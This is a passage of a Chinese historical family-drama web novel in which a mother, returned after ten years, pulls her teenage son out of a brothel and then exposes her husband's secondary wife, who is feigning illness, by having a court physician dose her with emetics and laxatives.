明看沈世子带了世家小姐来,老鸨便没再自讨没趣地安排阁里的姑娘,上了茶点,便退下了。
只是临走时,又悄悄地回头看了一眼。
这姑娘到底是谁?说面熟吧,没见过。说没见过吧,还真有点面熟。
老鸨走后,孟南枝便起身给长子使了个眼色,“分开行动,速度找到珩儿。”
沈砚修还是有些不放心,“母亲,您在这坐着,我去找就行。”
孟南枝道:“只怕等你自己找到就晚了。”
这种事,晚半息都可能出问题。
沈砚修也知事情紧要,便从水果盘里拔下一根银叉,递给她,“母亲你拿着防身。”
孟南枝嫌弃地撩开披风,从衣服后面掏出一把水果刀,“你自己留着吧,我有这个。”
她刚刚在马车上藏的。
沈砚修默默地给母亲举了根拇指。
不亏是他的母亲,思虑周道。
与他们有些距离的雅间里,一个半大的青衣少年正被两个汉子灌着喂酒,“珩公子,咱这纯喝酒哪有什么滋味,不若叫两个姑娘上来陪咱快活快活。”
少年喝了酒的脸,面色通红,眼睛有些迷离,却依旧坚持说道:“说好了,小爷我今日带你们来只是见见识面,不叫姑娘,不行那事,不快活。”
其中一个褐衣壮汉道:“行那事是哪事啊,咱就是叫两个姑娘进来给咱唱支曲儿,陪咱解解路上的乏。”
另一个瘦汉也跟着说道:“珩公子,你说你是侯府的公子,不是诓俺们的吧?俺们好不容易才帮你解救出来,又护送你到这京里,你说带俺们来逍遥逍遥,咋能说话不算话呢。”
少年被激得红了脖子,猛拍一把桌子道:“谁诓你们了,谁说话不算话了。行,就叫两个姑娘来唱支曲儿,但先说好,只听曲儿不行事。”
瘦汉搓手推了壮汉一把,一脸贪念地应呵道:“只听曲儿只听曲儿。”
被推的壮汉出门喊了一声,立马就有两个穿得极薄的女子摇着团扇走过来,鬓间都插着最时兴的丝娟花。
两个姑娘一进来,便左右夹击的坐在了半大少年的两侧,其中一个头戴牡丹花的姑娘伸手去摸少年的脸。
香气熏鼻,少年猛地偏开头,脖子红得能滴出血来,结结巴巴地道:“别、别碰我。”
另一头戴杜鹃花的姑娘笑道:“呦,还是个雏儿。”
“公子~”牡丹姑娘拉着少年的手,便将他拉倒在自己怀里,声音甜得发腻,“公子,听牡丹给你唱曲儿啊。”
厅里还算文雅,可越往里面走,这一间间雅间里传出的,便到处都是男人的笑骂和女子的软语,混着琵琶弦的颤音,传到孟南枝的耳朵里,像团乱麻。
她一手握着刀,一手每到一个雅间便推开门看一眼,不是次子就又关上。
长了不少针眼,也挨了不少骂。
到了最里面这一间时,刚推开门,便看见一名半大少年被两个姑娘半推半拉地解开了外衫,漏出半个瘦弱的肩膀。
虽然十年不见,但那俊秀的眉目,孟南枝一眼便认出是自己的次子,“沈砚珩!”
第29章 次子沈砚珩
本就有点烈酒上头的沈砚珩两眼昏花,头有些蒙,这两个穿着轻薄的姑娘怎么推也推不走,还一个劲地扒拉他的衣服。
谁来救救他,他只是想喝点小酒,带朋友来长长见识而已。
他还没行束礼,不想失身。
若是传出去丢了父亲的脸,肯定又要打他。
正推托着,却见门口又进来一名女子,身穿什么乌漆嘛黑的披风,应该是披风吧,他也看不清,就看她带着斗篷,还拿着刀。
模样么。
好像有那么一点眼熟,在哪见过呢。
对了,母亲,跟兄长画的母亲有些像。
兄长收藏了很多母亲死前的画,每天都要临摹一张。
隔段时间还逼着他和昭妹也跟着临摹,说不能忘了母亲。
但他画不好,每次画得都不像。
他是不是快死了,都能看到画中的母亲拿着刀来找他了。
就这么死了也不是不行,反正父亲不喜欢他,也没有人疼爱他。
活着有什么意思呢,每年都是如此。
不信哥哥,也不信他,吵架、挨打和逃跑。
见到次子被两个青楼姑娘拉扯着衣服都快脱掉,孟南枝眼眶欲裂,拿着刀冲到次子面前,对那两个姑娘吼道:“滚出去!”
又转过身,死死地盯着摊坐在地上的那两名男子,声音里满是压不住的怒气:“你们两个,在这别动!”
孟南枝喘了口气,难压心中怒火,能把她那心思单纯的孩子哄骗到这种地方来,这两个家伙绝对没安好心!
等会儿非得好好审审,看看他们到底是哪路货色,背后又藏着什么龌龊勾当!
两名男子都被她这突如其来的凶悍镇住了,你看看我,我看看你,脸上满是错愕,半缩着腿往后挪,却也没真敢跑。
他们一路上只听这珩公子说他有个爱打人的爹,不靠谱的兄长,总爱闹人惹事的妹妹,也没听这珩公子说他还有个姐啊。
孟南枝看着面前那眼神空洞,没有聚焦的次子,心头一紧,轻声唤道:“珩儿,沈砚珩?”
见他依旧不清醒,眼神涣散仿佛定在某处,不由得又上前凑了凑,伸手去探他的额头,不凉也不热,很正常。
指尖微顿,孟南枝又抬起手,在他的眼前晃了晃,急切喊道:“沈砚珩,醒醒。”
沈砚珩只觉得眼前人影到处旋转,晃得他眼更晕了,伸手往前瞎摸,道:“你谁呀?你站好,别乱动,小爷我看不清。”
少年细长的手指上有几道伤痕,指甲应是被反复啃咬过,边缘歪歪扭扭,短秃地贴在手指头上,像被硬生生啃断的芽,透着说不出的焦躁。
孟南枝又气又心疼,抬手握住他的手,把他的衣服给整理好,又用袖帕拭了水把他的脸擦干净。
少年刚抽条的身子非常单薄,额前一搓碎发湿了水被她捋到头顶,露出光洁饱满的额头。因着常在外面跑,肤色比他兄长要黑一点,眉骨尚浅,眉峰却带着锋利的轮廓。
双目长得像她,瞳仁黝黑清亮。鼻梁挺直,还没完全长开,鼻尖带着孩子气的圆。
凉水敷面,静待了几息,沈砚珩终于清醒了些,使劲眨眼看向面前的女子,眉目如画,真和兄长画的母亲长得一模一样。
吓得一个激灵起身连忙往后退,躲在那名壮汉身后,“有鬼,有鬼。”
孟南枝好笑的喊他,“沈砚珩,你睁开眼睛好好看看我是谁。”
沈砚珩一边躲,一边摇头,“我不看,我不看,我眼睛瞎了,我看不见。”
两个人便围着偷偷站起来准备溜走的壮汉,相互追着躲着转圈子。
到底是跑不过半大的小子,孟南枝气喘吁吁地对壮汉道:“你们两个,蹲下。”
可沈砚珩一见到壮汉蹲下,转身就往门外跑,恰好拽住经过门口的一位姑娘,“姐姐,救我。”
这姑娘头簪芙蓉花,皮肤似雪,容貌艳丽,穿着一身粉红软缎,腰枝细得仿佛一折就断。见到沈砚珩向她求救,便顺手把他护在了自己身后,笑盈盈地看向孟南枝。
但见她比身后的少年要略为年长,便道:“姑娘,令弟来到这场合,不过是图个消遣,莫要吓着他了。”
孟南枝抬眉,看到她头上那朵芙蓉花,有一瞬间的明悟,便也客气笑道:“有劳芙蓉姑娘费心,但是还请让一让,我要带他回去。”
芙蓉姑娘微顿,这两人她都是第一次见,偏偏眼前这个容貌虽比不上她,却比她多了几分清贵的女子竟然认识她。
便往旁边侧了侧身子,将身后的沈砚珩露出来,温声道:“弟弟,出来吧,跟你姐姐回去。”
沈砚珩继续躲,头摇得跟拨浪鼓一样,“不,她不是我姐,她是……”
话还没说完,便听到远处传来一声轻喝,“珩弟。”
紧接着,便见到兄长沈砚修小跑过来。
沈砚珩连忙松开拽着芙蓉姑娘衣襟的手,扑在兄长的怀里,一把鼻涕一把泪地说道:“哥,哥,你怎么才来救我啊,我看见母亲了,你说我是不是要死了。”
“母亲她还拿着刀,你说她是不是恨我不争气,来收我来了。”
沈砚修轻拍弟弟的后背,替他顺气,轻声道:“别瞎想,你没死,是母亲回来了。”
正把鼻涕往兄长衣服上拧的沈砚珩闻言一愣,转头看了眼门口正一脸温和望着他的孟南枝,又立马回过头来,和兄长确认,“母亲?”
沈砚修点头。
沈砚珩这才转过身,认认真真地看向孟南枝。
他记忆里母亲的样子早已模糊,每次都要靠着兄长的画才能想起一点点母亲的样子。
可是画像看多了,总是产生怀疑,这是他的母亲吗?
眼前的女子和兄长的画一样,但又不一样,兄长的画是生冷的。
可眼前女子眼神里的温度,像是晒过太阳的棉絮,裹着无限的暖意。
望向他的目光里,没有他犯错的责备,只有满眼的疼惜。
沈砚珩突然觉得有些害怕,拉住兄长的手往外面走,“哥,咱回家吧,给母亲上柱香。”
这个女人肯定不是他的母亲。
若是他母亲。
为什么他想她了,她不出来见他。
他受委屈了,她不回来抱抱他。
怎么他才一犯错,她就拿着刀出来了。
定是假的。
第30章 给平夫人尽孝
“珩弟!”
沈砚修见他不认母亲,有些着急。
孟南枝对他摇摇头,次子沈砚珩心里有结,估计一时半会儿难以解开,而且这里不是说话议事的地方。
交代长子先带着次子出去,孟南枝再回头去雅间那两名男子,没想到雅间里竟然空无一人,看了看打开的窗及楼下空无人影的小巷,只得转身也跟着走了出去。
站在门边的芙蓉姑娘斜依着门框,摇着团扇盯着她们一前一后的背影,眸里闪过玩味。
沈世子母亲。
那便是传闻中镇北侯夫人了?
死了十年的人竟然活着回来了,还那般年轻,可真有意思。
这京都可是要有一阵热闹了。
三人从醉香阁出来时,天上的雨竟然比来时又猛了几分,豆大的雨滴砸在青石板上,溅出细碎的水花。
奴仆很有眼色地早早便把马车牵了过来,沈砚修扶着弟弟和母亲坐上去,自己披上蓑衣驾马往孟府走。
沈砚珩额前的碎发已干,落下来挡住半个眼睛,他一进马车就把自己塞在角落,头埋在了双臂里。
孟南枝有些头疼,次子和长子性格是两个极端,有些蹩。
两三岁的时候,她连哄带唬地还能压着,现在个子都比自己高了,该怎么哄呢?
沈砚珩其实一直透过双臂之间的缝隙在观察孟南枝,等酒劲缓过来的时候,越看越觉得那就是母亲,又越看越觉得心虚。
自己今日闯这么大祸,没到束发之年就跑之风月场所,还差点破了身。
母亲对他一定很失望吧。
看她这会儿都不理自己了。
孟南枝往他旁边坐近了一点,轻拍他的后背,从喉间唱出细碎的调子,“月儿摇,挂树梢,娘把儿,怀中抱……”
这是她在三个孩子幼时哄他们睡觉常哼的曲子,也是她幼时母亲常哄她的曲子。
沈砚珩的后背僵了僵,指甲狠狠陷入臂膀里,想起小的时候自己每日躺着的温暖怀抱,想起梦里那个一直对他温柔的影子,满是嗡气的埋怨,“这些年,你是不是把我们都忘了,为什么不回来看我们。”
孟南枝抽了抽酸涩的鼻子,有些哽咽地轻声道:“珩儿,母亲一直都没有忘记你们,一直在努力回来,母亲也是直到前日才找到回来的路。”
一滴泪沾上衣襟,晕开一片深色。
沈砚珩死咬着嘴唇,可那泪却像断了线的珠子,怎么也控制不住的往下掉。他忽然抬起头,扑在孟南枝的怀里哭了起来,“母亲,我好想你。”
“母亲也想你。”孟南枝轻拍他的后背,任眼泪滴落在他的发顶上,柔声道:“好了,母亲回来了,不会再你们受委屈了。”
在前面驾车的沈砚修同样红了眼眶,他使劲握紧了马绳才没让泪珠掉下来,抬手用衣袖擦了擦脸上的雨水,继续驾马前行。
马车行至孟府,沈砚修利落地跳下车,脚刚沾地,便转身从车辕边拿起油伞撑开,等着母亲和珩弟下来。
已经缓过来劲的沈砚珩伸手掀开帘子,目光落在车外孟府的匾额上,奇怪地问道:“哥,你怎么到外祖父家了?”
沈砚修刚要应声,后面便传来一阵急促的脚步声,紧接着一道怯生生的恭敬声响起:“世子,二公子。”
沈砚珩抬眸,看向对方打了把破伞,全身被淋得湿湿漉漉,脸上还带着泥污的瘦小身影,道:“观棋?下这么大的雨,你怎么也在这里?”
观棋擦了擦被淋的模糊的眼睛,恭敬地上前扶着他下来,“小的来寻世子。”
没敢说自己已经在孟府门前整整蹲了两个多时辰,敲门后门房一看见是他就关上了大门,再敲便怎么也不应了。
原来是找兄长啊,还以为父亲想起寻他了。
沈砚珩撇了撇嘴,没再理他,回头又伸出手迎着母亲下车,“母亲。”
观棋一看夫人也在车上,躬着的腰弯得更深了,连大气都不敢出地行礼道:“夫人。”
孟南枝扫了他一眼,威而不怒地说道:“先进府吧。”
自他们走后,一直担心的胡姨娘还未歇下,见他们一起回来便提着帕子松了口气,嘱咐丫鬟给他们换衣服。
孟南枝在主位上坐下,喝完姜汤后,看向一直站着的观棋道:“说吧,什么事?”
观棋微欠身子走上前,有些磕磕巴巴地道:“夫人,侯爷让小的来寻世子回去。”
沈卿知这是又准备做什么妖!
孟南枝的眼眸里带了几分寒意,语气微沉道:“可是府里有什么事?”
沈砚珩在旁边一直轻拽兄长的衣角,眼神示意:哥,什么情况?你也离家出走了?
沈砚修甩开他的手,眼神回复:你以为都和你一样,听着别说话。
沈砚珩看了眼母亲,眉目弯了弯:母亲回来了真好。
沈砚修认同的点头:真好。
观棋低着头,眼睛直盯着自己的鞋尖,半天才道:“平夫人病了。”
“林婉柔病了?”
孟南枝像是听到了天大的笑话,气得笑出声来,只是那笑意根本就没达眼底,“她既然病了,理该请太医去看诊,巴巴地来这里寻世子做什么?”
“难不成他当自己的儿子是能妙手回春的神医,还是那能驱邪震魔的神棍,往她身前一站,他那宝贝平夫人便能人到病除?”
观棋垂着的头都快贴到了肚子上,半天不敢说话。
沈砚修的眼睛里满是戾气,“到底什么情况,快说。”
观棋只得吭吭巴巴地说道:“侯爷带着平夫人回府后,平夫人便晕了过去,还起了热,等太医看诊后是退了热,但却依旧不醒还一直说胡话,嘴里不停地说着是她的错,还一直念叨着世子、二公子和小姐。”
“侯爷见平夫人一直不醒,便说这些年平夫人把世子、小姐他们当亲生骨肉似的照顾那么好,如今平夫人生病……”
说到此处,观棋顿了一下,知道自己接下来的话可能要挨训,身子便又往下弯了一点,“该是世子、二公子和小姐尽孝的时候,既然二公子和小姐不在京都,便让小的来唤世子回去给平夫人尽孝。”
第31章 还以为死了
给她尽孝?
简直是可笑之极。
次子沈砚珩无语地指了指自己,又指了指远在避暑山庄的妹妹,最后指了指兄长:我,妹,你,给她尽孝?
世子沈砚修俊白的面色一时憋得涨红,道了几声鸟语。
一时之间,满室芬芳。
孟南枝气得恨不得化身雷公,从天上落下一道闪电劈死他镇北侯。
他怎么那么大脸呢,竟然让她的孩子去给他的平妻尽孝!
即便深呼吸,孟南枝也难以平复心情,漆黑的眸子里满是愤怒,“她那女儿是死了还是病了?怎么就轮得到世子去尽孝!”
弱小的观棋垂着头不敢吱声。
以前世子和公子小姐他们没人做主,自己虽然替他们委屈,却没话语权。
如今听夫人骂人,虽然他不敢答话,但其实心里还是挺爽的。
孟南枝缓了缓情绪,带着压不住的寒意,问道:“世子不去,她会不会死?”
没敢抬头看夫人的脸色,观棋连忙应声答道:“小的见平夫人虽然昏迷未醒,但是面色红润,气血充足,想是不会的。”
坐以待毙不是她的脾气。
孟南枝抬眸看了眼门外依旧未降的雨势,对长子沈砚修道:“她不是病了么,去太医院,请上几位太医给她看诊。”
沈砚修听完母亲说的话,脸上没有半分迟疑,只略一点头,便转过身跨步走了出去。
孟南枝也跟着起了身,沈砚珩见状连忙给她撑了伞,在后面屁颠屁颠地跟着。
胡姨娘见他们一个个都又跑了出去,焦急地在厅堂里旋圈转。
老爷去宫里还没回来,这闹的,都是什么事儿。
……
此时的镇北侯府,南苑。
躺在床榻上的林婉柔乌发散在青玉枕上,几缕贴在鬓角颊边,面色苍白,不时地喃喃低语,声音含糊得像隔了层雾,让人听不真切,“侯爷,侯爷……”
沈卿知坐在床榻边,目光落在她苍白如纸的脸上,喉间像堵了棉花似的发紧。
他的婉柔,以前受苦,跟了他之后还在受苦。
他握住她露在外面冰凉的玉手,满眼心疼:“婉柔,我在。”
未睁眼的林婉柔继续呢喃着:“妾身……妾身倾心于你,从第一次见你便倾心不已,可父亲……父亲他不同意……”
沈卿知将她的手贴在自己脸颊,伸手去捋顺她贴在脸上的发丝,未遮眼中情意,“我知道,婉柔,我都知道。”
林婉柔紧闭的眼帘溢出眼泪,“侯爷,我不该嫁你,可我真的……心悦于你。南枝,南枝,我错了……”
“我错了,南枝,都是我的错。”
“南枝,你跟侯爷回去吧。”
“修儿,珩儿,昭儿,都是婉姨的错。”
“婉姨不该嫁给侯爷。”
“侯爷,侯爷,你休了我吧。”
守在榻边的陆筝筝一边替母亲擦拭额角的汗,一边哭红了眼眶,“侯爷,我去求南姨,我去求世子哥哥,你不要休母亲,母亲都是为了我,她都是为了我才愿意受这么大委屈。”
镇北侯沈卿知心疼地从陆筝筝手里拿过帕子,亲自给闭着眼睛的林婉柔擦掉眼泪,“筝筝,不用你去求她,我不会休了你母亲。”
陆筝筝哭得上气不接下气,“可是南姨,南姨那里怎么办,南姨她一定要侯爷休了母亲才肯回来,母亲她……没了侯爷可怎么办……”
“而且母亲待世子哥哥、珩哥哥比筝儿还亲,可是南姨一回来,世子哥哥就不回府了,他定也是恼了母亲的。”
“母亲,母亲她可怎么办啊。”
沈卿知将帕子递还到她手里,眼中充满戾气,起身道,“我已经安排人去叫世子回来,让他尽孝道之责。”
……
孟南枝携带着两个儿子,身后跟着五六位太医冒雨赶到镇北侯府时,昏迷不醒的林婉柔还在床榻上,紧闭着双眼,似云似雾地轻轻低喃:“侯爷,我错了。”
“修儿,珩儿,昭儿……”
“南姨对不起你们。”
嘱咐太医先在屏风外面侯着,孟南枝带着两个儿子进了内间。
在内间太师椅上坐着的镇北侯沈卿知见到孟南枝进来,下意识地便起了身,短须下的薄唇动了动,卡在喉间的那声“南枝”到底是没喊出来。
抬眸看向她身后的长子沈砚修,正欲招呼他过来时,又突然看到躲着的次子沈砚珩,怒道:“你个逆子,还知道回来!”
沈砚珩往兄长身后贴了贴,不忿地还嘴道:“不是你让我和兄长回来尽孝的,你那平妻可是死了?”
沈卿知闻言气的短须都翘了起来,指着沈砚珩的鼻子骂道:“你个不孝子,怎么和为父说话的,你婉姨那般厚待于你,你竟然如此咒她。”
沈砚珩的鼻子哼了哼,完全不认同道:“她怎么待我了,做那些表面功夫不就是为了进侯府享富贵。”
“你,你!”
沈卿知听到这话,气得浑身发颤,猛地一拍桌子,上面的茶盏都跟着跳了一跳。
沈砚修拽了拽珩弟的衣角,示意他少说两句。
沈砚珩却甩开他的手,又接着道:“我怎么了,我这不是听你的话回来给她尽孝来了,你快说她是不是死了,没死我们就走了。”
沈卿知的眼睛气得通红,转身从桌子上拿起茶盏就想往他身上砸。
“沈卿知,你敢动一下他试试。”
孟南枝将沈砚珩护在身后,提步走到他面前,眸中全是怒意。
看着她那张依旧如初,鲜活又毫不退让的脸,沈卿知想起当年为争侯位,孟南枝在族辈面前护他的模样,卡在胸口的怒气往下压了压,将茶盏放回原处,道:“你瞧瞧他说的话,可有一点身为人子的模样!”
孟南枝在太师椅上坐下,轻抚裙面,唇角色了丝嘲讽道:“是,镇北侯倒全是身为人父的模样。”
沈卿知哑然,被堵得一时说不出话。
孟南枝轻轻扫过他那张因风月带了细纹的脸,又接着道:“我儿可有说错,不是你让他们回来尽孝的吗?”
沈卿知面色有些难堪,在她身边空着的椅子上坐下,道:“你不在的这些这些年,婉柔待他们如子,他们生病,婉柔哪次不是衣不解带的在旁边伺候着。如今婉柔病了,该是他们在……身前候着了。”
他顿了顿,到底是没在孟南枝面前说出伺候的话。
轻轻瞟了一眼床榻上的林婉柔,孟南枝笑意不达眼底,讶然道:“原来是病了,我还以为死了。”
第32章 那便开药吧
沈卿知一肚子的火气卡在喉间,偏偏对着孟南枝的言辞,又说不出话。
蹲在床榻前守着母亲的陆筝筝,见状忙不跌过来在孟南枝面前跪下,“南姨,您救救筝儿母亲吧,母亲说她错了,她不知道您还活着,若知道,她一定不会嫁给侯爷的。”
沈砚修一见到陆筝筝跪下就慌了神,刚准备上前就看到母亲对着他似笑非笑的眼睛,心中一惊,又心虚地退回了原地。
孟南枝低头看着面前的陆筝筝,轻声道:“筝儿,南姨记得你昨日说,你母亲待世子他们比对你好,即如此,等你母亲故后,你便跟着南姨吧,南姨定会待你如同‘亲女’。”
陆筝筝垂着头的眼睛下意识地瞟了床榻上的母亲一眼,连忙摇头道:“南姨,筝儿那是同你说笑,筝儿的母亲待筝儿很好。”
“说笑?”孟南枝从喉间压出低低的一声轻笑,“那你的意思便是你母亲待世子他们不好了?”
陆筝筝摇头,怯生生的快要哭出声来,“南姨,不是的,母亲待我们都好。”
沈砚珩默默地推了推兄长:哥,哥,母亲真腻害。
沈砚修闭了闭眼,无声叹气:他知道。
他有点痛苦。
眼前的筝妹和以前见到的筝妹有点不一样。
很像婉姨。
像婉姨,那就是表里不一。
镇北侯沈卿知听得眉头猛地一蹙,脸色沉了下来,带着压抑的愠怒道:“南枝,你何苦去为难一个孩子。”
孟南枝满眼都是毫不掩饰的冷嘲:“你也知她是个孩子,难道我的孩子就不是孩子?!你让我孟南枝的孩子去给你的平夫人尽孝,沈卿知,你自己听听好笑不好笑!说出去也不怕整个京都戳死你的脊梁骨!”
沈卿知此刻的脸色就像是被墨汁染过一样黑,对于孟南枝的言辞,理所当然地反驳道:“孩子尽孝本乃天经地义,旁人如何说的。”
十年。
孟南枝闭了闭眼,只觉得跟他之间像是隔了许多无形的墙,多说一句都嫌费力。
怪不得人们常说,尔终难唤醒佯睡之人。
不过佯睡之人她唤不得,但佯病之人她却能治得。
再睁眼,孟南枝眸中满是寒意地扫了眼床榻上的林婉柔,沉声道:“既然你这平妻如此病重不醒,到了需要人尽孝的地步,那就让太医们瞧瞧吧。”
“进来。”
长子沈砚修轻轻唤了一声,屏风外正支棱着耳朵偷听他们说话的五六个太医,瞬间统一收起面上表情,摆出一副什么也不知道什么也没听见的模样,你推我我推你地涌了进来。
沈卿知扭头看到他们,脸色顿时变得黑青,压低了声音道:“我只是想让修儿回来,你何至于闹得人尽皆知!”
孟南枝冷笑,根本不顾忌他的脸色道:“这会儿你知道顾忌了?你说让修儿回来尽孝的时候,怎么不知道顾忌!”
“你,我……”
沈卿知抬手指着她,胸口剧烈起伏,偏偏说不出话。
她克他。
他在她面前从来就没赢过。
洪太医缩在太医中间,尽量不突显自己,只是那耳边却竖得比谁都高。
要说今年八卦哪家强,平平无奇镇北侯府立上堂。
暴躁扬威的父亲,叛逆桀骜的儿子,柔弱温婉的平妻……
还有死而复生的亡妻。
啧啧啧。
陆筝筝有些紧张地拉了拉孟南枝的衣襟,眼中还含着晶莹的泪珠,怯生生地道:“南姨,侯爷已寻太医给母亲看诊过,太医说母亲她就是邪热内扰、心神被遏。”
孟南枝不动声色地拉开自己被拽的衣襟,再次看向床榻上林婉柔紧闭的双眼,眸里闪过冷嘲,沉声道:“你母亲她到现在还没醒,便是那人医术不行、药不对症,得多寻几个人太医看诊才行。”
说罢,便让那几名太医上前去给林婉柔看诊。
沈卿知也知孟南枝说得不无道理,便弯腰把陆筝筝扶起来,轻声道:“筝儿,你先起来,多几位太医看看,你母亲也能早一点醒来。”
几名太医依次上前,轮流为林婉柔诊脉。
指尖透过轻纱搭在腕间的寸关节,起初皆是凝神屏息,片刻后,眉头便不约而同地蹙起,而且越锁越紧。
待最后一名太医看诊完,几人围成团,站在一起,面色一个个苦得跟菜瓜一样,连嘴角都一模一样地往下耷拉着。
孟南枝搭在桌子上的手指轻点桌面,平静的声音里听不出喜怒,“怎么?我们侯府平夫人的病是没得治了吗?”
几名太医低垂着头,谁也不应话。
你看我一眼:你看这病有得治吗?
我看你一眼:我不知道,你看有得治吗?
互相再看一眼:到底是能治还是不能治?
见他们表情如此沉重,沈卿知的心立马就悬了起来,发出的声音都带了点颤意,“可是婉柔的病情太过严重?”
几名太医再次无声交谈。
太医甲:你看这病重吗?
太医乙:我看不重,你看重吗?
互相再看一眼:到底是重还是不重?
最后不知道是谁踢了洪太医一脚,使得他往前一步差点翻个跟头。
沈卿知的面色青了几青,看着他道:“洪太医,婉柔的病情可能医治?”
勉强站稳身子的洪太医只想骂娘,这群龟孙,等他爬上院首的位置,定要他们好看。
面上却是添满了笑,恭敬又不失礼节地对镇北侯说道:“侯爷,平夫人虽然病情严重,却并不致命,只要调理得当,不日便可醒来。”
沈卿知闻言,面色稍缓,点头道:“如此,便好。”
孟南枝却是清了清嗓子,笑意不达眼底地看向洪太医,温声道:“这怎么行呢?平夫人昏迷这般长时间,她若不能今日醒来,侯爷怕是要担心的一夜难眠。”
那声音虽温,却带着无限寒意。
他就知道,没那么简单。
洪太医袖间的手抖了抖,轻抚额间冷汗,舔着笑脸道:“若想让平夫人今日醒来,也不是不可以,只是那药怕是要下得重一些。”
孟南枝抬起放置在桌子上的手,轻吹了吹上面并不存在的灰尘,“那便开药吧。”
第33章 这药不对
洪太医把随身携带的医箱放在桌子上,打开,取出一个陶瓷瓶,顿了顿,又对沈卿知施了一礼:“侯爷,微臣随身带的良药不全,还需要剩下几位太医的良药作为补充。”
沈卿知摆手,让那几位太医也把药箱打开。
洪太医分别从每个人的医箱里都拿出一个瓷瓶,旁边伸着脖子往前看的太医一个个脸色青白如笋。
这药不对,这是吐药。
这药也不对吧,这是泻药。
这药更不对了……
这取出来的没有一个是治病的药啊……
老小子,你害我等。
洪太医面不改色地从每个瓷瓶时都倒出一点,放在白玉碗里用温水化开,拱手分别对沈卿知、孟南枝行了一礼,“侯爷,夫人,平夫人只要喝完这药,不出半个时辰便会醒来。”
来吧。
震撼吧。
颤抖吧。
让你们这群老小子推我。
要死,大伙一起死。
沈卿知看看药,又看看后面表情有些异常的太医,心里有些怪异,“这药……”
孟南枝却是轻轻点了点头,对他说道:“即如此,侯爷便让人服侍着平夫人把药喝下吧。”
虽然觉得有些不妥,但这到底是众多太医眼皮子底下开的药。
沈卿知便不再多想,对身侧的陆筝筝道:“筝筝,快将这药喂你母亲服下。”
“是。”
陆筝筝手上端着药,心里直打鼓,这药不会有问题吧?
但同样想着是太医开的药,便去服侍母亲喝下,却不想母亲根本不张嘴,并在无人看到的情况下轻轻地拉了拉她的衣服。
陆筝筝秀眉微蹙,趁人不注意手一歪,那盛药的白玉碗便落地发出破裂的声响,药汁洒满一地,溅湿众人的鞋面。
在众人还没反应过来的情况下,陆筝筝又连忙跪在地上,哭得像小猫儿一样,“侯爷,南姨,筝儿不小心打翻了药,都是筝儿的错。”
沈卿知扶着她起来,“无碍。”
孟南枝轻轻抬脚,看那洁净的鞋面被药汁晕出一片褐印,笑得越发温和:“既然药洒了,那便再沏一碗吧。”
洪太医迅速、麻溜儿地又按照同样的步骤沏了一碗。
后面的太医这次都聪明地闭上眼睛,装作看不见。
孟南枝表情异常温柔地看向陆筝筝,“好了,喂你母亲喝下吧。”
陆筝筝此时已经确定这药定是有问题了,摇了摇头,道:“南姨,母亲不喝药也能醒过来的。”
孟南枝道:“不喝怎么能行呢?那婉柔得受多大的苦啊,你说呢?”
最后一句问的是镇北侯沈卿知。
沈卿知看了眼床榻上冷汗津津、依旧未醒的林婉柔,眉头皱成了川字,满眼心疼地端起药碗,“筝筝,把你母亲扶起来,我亲自喂她。”
陆筝筝只得小心将母亲扶起来,往她身后垫了块玉枕,让她半靠在自己的身上。
沈卿知一手端碗,另一只手捏着银勺,舀了半勺汤汁送到林婉柔唇边,声音轻柔得像团棉花,“婉柔,张嘴,把药喝了。”
可林婉柔紧闭着的唇却是纹丝未动,药汁顺着唇角往下流。
孟南枝看着沈卿知如此温柔的动作有些发笑,巨幕中两人亲昵的画面远没有现场来的刺激。
她与他七年夫妻,哪怕助他登上侯位,他对她眼里的情感也是激动大于柔情。
还在看陆筝筝的沈砚修突然被弟弟推了一把。
他顺着弟弟的视线望去,才发现母亲的表情虽是笑着的,但眼神却是悲伤的。
再看父亲的举动,和弟弟对视一眼,两人双双走到床榻前,“父亲,让我和珩儿来吧。”
还在心疼林婉柔的沈卿知一时有些没反应过来,被长子沈砚修夺了药碗。
次子沈砚珩把陆筝筝拉开,半挡着众人的视线,一手按着下颌掰开林婉柔的唇。
长子沈砚修挡住另一半众人的视线,把药硬灌在了她的嘴里,嘴里道出的话却是温柔且恭敬,“婉姨,把药喝了吧。”
林婉柔紧闭双眼,睫毛在眼下投出一小片颤巍巍的阴影,被褥下的手指几乎要嵌进掌心里,可为了不让侯爷起疑,只得将那已经灌进嘴里的药汁闷声咽了下去。
沈砚珩见状连忙松开她,又有些嫌弃拿起帕子擦了擦手,扔在地上,两下便跨到孟南枝面前,面上满是求夸奖的傲娇,“母亲。”
“父亲,婉姨把药喝完了。”
沈砚修把空碗放在桌子上,也走到孟南枝面前,倒是比他弟弟稳重了些。
孟南枝微笑着让他们两个站在自己身后。
“母亲!”陆筝筝一声惊呼。
沈卿知抬眼,才发现林婉柔雪般苍白的脸上竟然多了几道刺目的红指印,心头一沉,瞬间便明白前后因果,一股戾气直冲天灵盖,抓起桌上的空碗便朝沈砚修他们两个砸了过去,“逆子!”
三人齐齐歪头躲避,空碗落地发出刺耳的破碎声。
孟南枝起身挡在儿子面前,“沈卿知,你发什么疯?”
沈卿知火气难掩,“看看你养的两个好儿子!”
孟南枝扯了扯嘴角,满是讽刺,“不是你说的让他们来尽孝,如今亲手喂她喝了药,你还有何不满意?”
沈卿知指了指林婉柔脸上那几道红指印,恼怒道:“那也不该如此不知轻重!”
孟南枝喉间挤出一声冷笑,“你那平夫人即不清醒,又不张嘴,连你和她的女儿都喂不进去,我儿为了让她尽快好起来,如此喂药有何过错?”
“你,你简直不可理喻!”
沈卿知气地狠甩袖子,走到林婉柔面前,轻抚那几道红印,满是心疼,对洪太医吼道:“还不过来给婉柔上药。”
自己没本事,冲我吼什么。
洪太医心里默默吐槽,面上却依旧带着笑,从医箱里寻出一瓶药膏递过去,“侯爷请放心,微臣这药是专门做出来美容养颜的,宫里的嫔妃都在用,保证平夫人脸上这点小伤马上就消失不见。”
沈卿知看也不看他的接过药膏,轻敷在林婉柔脸上。
此时的林婉柔只觉腹中像是什么东西拧成一团,疼得她额头沁出细密的冷汗。胃里更是翻江倒海,一股酸水直往喉咙口涌,她忙睁开眼,侧过身子便要呕吐。
沈卿知面色一紧,连忙站了起来。
第34章 与子坦白
孟南枝忍不住嗤笑,她还真当他对林婉柔挚爱情深呢,原来还是更爱自己啊。
“母亲。”
陆筝筝一脸焦急地上前轻拍母亲的后背,并递了帕子给她。
林婉柔接过帕子垫在嘴边,却偏偏只干呕出几声空响,但胃里那股恶心劲儿却丝毫未减,反倒引得五脏六腑都跟着抽搐。
见她并未真的吐出来,沈卿知弯下腰轻拍了拍她的后背,“婉柔,你可还好?”
“侯爷。”
